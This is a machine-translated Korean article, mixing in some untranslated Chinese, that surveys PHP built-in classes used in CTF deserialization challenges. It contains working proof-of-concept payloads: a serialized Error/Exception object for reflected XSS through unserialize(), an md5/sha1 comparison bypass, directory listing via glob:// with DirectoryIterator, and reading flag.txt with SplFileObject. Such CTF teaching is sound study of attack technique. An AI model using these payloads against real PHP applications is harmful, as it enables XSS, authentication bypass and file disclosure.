이 기사는 PHP에 대한 관련 지식을 제공하며, 기본 클래스에 대한 관련 내용을 주로 소개합니다. 모두에게 도움이 되기를 바랍니다.
이번 HEctf는 단 세 줄의 코드로 구성된 네이티브 질문입니다. 물론 코드가 짧을수록 ctf는 더 어려워집니다.
먼저 PHP 내장 클래스를 순회하는 스크립트를 게시하세요
<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类 ))) { print $class . '::' . $method . "\n"; } } }
결과:
정리하려면:
Exception ErrorException Error ParseError TypeError ArgumentCountError ArithmeticError DivisionByZeroError ClosedGeneratorException DateTime DateTimeZone DatePeriod DirectoryIterator wakeup JsonException wakeup LogicException BadFunctionCallException InvalidArgumentException OutOfRangeException RuntimeException OverflowException RangeException UnderflowException GlobIterator SplFixedArray ReflectionException ReflectionFunctionAbstract ReflectionParameter ReflectionMethod ReflectionClass ReflectionClassConstant ReflectionZendExtension AssertionError DOMException PDOException SimpleXMLElement mysqli_sql_exception PharException PharData PharFileInfo
아마도 이것들은 클래스일 것입니다. 하지만 다음 범주는 CTF 대회에서 자주 사용됩니다
__toString 메소드에 대한 내장 클래스는 매개변수를 포함하는 오류 또는 예외의 문자열 형식을 반환합니다. 우리가 입력한 xss 코드 문자열을 구성하고 이를 에코 렌더링과 결합하면 반영된 xss 취약점이 트리거됩니다
demo:
<?php $a = unserialize($_GET['a']);echo $a;
poc
<?php $a = new Error("<script>alert('hacker')"); $b = serialize($a); echo urlencode($b);
문자열 문자열을 출력
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3 Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码
성공적인 팝업 창
Exception은 모든 사용자 수준 예외의 기본 클래스입니다. (PHP 5, 7, 8)
<?php $a = new Exception("<script>alert('hacker')"); $b = serialize($a); echo urlencode($b); ?>
의 팝 구조와 오류는 동일한 것 같습니다(예외는 php5와 7에 적용 가능하고 오류는 php7에만 적용 가능). 오류를 예외로 바꾸면 됩니다. 창이 여전히 성공적으로 나타납니다
이 두 클래스를 구성하면 md5() 및 sha1() 함수를 우회할 수 있습니다. 오류와 예외 모두에는 예외 개체를 문자열로 변환하는 데 사용되는 _tostring이라는 중요한 메서드가 있습니다.
마찬가지로 md5(), sha1() 함수가 객체를 처리할 때 __tostring 메서드가 자동으로 호출됩니다
<?php $a = new Error("payload",1);$b=new Error("payload",2); echo $a."<br>"; echo $b."<br>";
페이로드 뒤의 매개변수는 출력 결과에 영향을 미치지 않는 것을 볼 수 있습니다. 이를 통해 해시 함수를 우회할 수 있습니다.
<?php $a=new Error("payload",1);$b=new Error("payload",2); if ($a!=$b){ echo '$a不等于$b'."\n ";} if (md5($a)===md5($b)) { echo "md5值相等\n"; } if (sha1($a)===sha1($b)){ echo "sha1值相等\n"; }
Simple Object Access Protocol 의미
여기서 간단하다고 하는 이유는 널리 사용되는 두 가지 프로토콜인 HTTP와 XML을 기반으로 하기 때문입니다. 업계에서는 이를 "어떤 새로운 기술도 발명하지 않은 최초의 기술"이라고 부른다. 접근하는 웹 서비스를 객체라고 칭하기 때문에 서비스도 관련 속성을 가지고 있어야 한다. 및 호출 동작, 이러한 속성과 동작은 WSDL을 통해 설명됩니다. "Simple Object Access Protocol"이라는 용어로 이해하면 "Simple Object Access Protocol"보다 쉽습니다.
PHP의 내장 클래스인 SoapClient는 웹 서비스에 액세스하는 데 특별히 사용되는 클래스입니다. SOAP 프로토콜을 기반으로 하는 서비스입니다.
이 클래스의 생성자는 다음과 같습니다.
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
DirectoryIterator
__toString 파일 이름을 문자열 형식으로 가져옵니다(PHP 5,7,8)
예:
<?php $a = new DirectoryIterator("/"); foreach($a as $b){ echo($b.'</br>'); } echo $a;
출력 지정 디렉터리에서 첫 번째로 정렬된 파일 이름
이 내장 클래스의 __toString 메서드를 glob 또는 파일 프로토콜과 결합하여 디렉터리 순회를 달성합니다
<?php $a = new DirectoryIterator("glob://*"); foreach ($a as $b){ echo $b.'<br>'; }
foreach를 사용하여 모든 파일 순회
<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
슬래시를 한 번 더 누르면 디렉토리가 한 단계 앞으로 이동합니다.
FilesystemIterator 클래스
FilesystemIterator 클래스는 DirectoryIterator 클래스와 동일하며 파일 시스템 디렉터리의 내용을 보기 위한 간단한 인터페이스를 제공합니다. 이 클래스의 생성자는 지정된 디렉터리의 반복자를 만듭니다.
이 클래스의 사용 방법은 기본적으로 DirectoryIterator 클래스와 동일합니다.
<?php $a = new FilesystemIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
SplFileObject::__toString — 以字符串形式返回文件的路径
<?php $a = new SplFileObject('flag.txt'); echo $a;
输出多行
<?php $a = new SplFileObject('flag.txt'); foreach($a as $f){ echo($f); }
推荐学习:《PHP视频教程》
위 내용은 PHP 네이티브 클래스 요약 공유의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!